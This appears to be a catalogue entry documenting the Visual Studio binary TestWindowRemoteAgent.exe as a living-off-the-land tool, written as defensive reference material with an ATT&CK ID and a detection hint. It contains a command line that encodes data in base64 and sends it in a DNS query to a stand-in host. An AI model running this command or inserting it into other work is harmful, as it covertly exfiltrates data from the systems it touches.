TestWindowRemoteAgent.exe

type: OtherMSBinaries

TestWindowRemoteAgent.exe is the command-line tool to establish RPC

Full path

C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\CommonExtensions\Microsoft\TestWindow\RemoteAgent\TestWindowRemoteAgent.exe

Commands

UploadUser T1048
Attackers may utilize this to exfiltrate data over DNS
```
TestWindowRemoteAgent.exe start -h {your-base64-data}.example.com -p 8000
```
Sends DNS query for open connection to any host, enabling exfiltration over DNS
os: Windows 10, Windows 11

Detection

IOCTestWindowRemoteAgent.exe spawning unexpectedly

acknowledgement: Onat Uzunyayla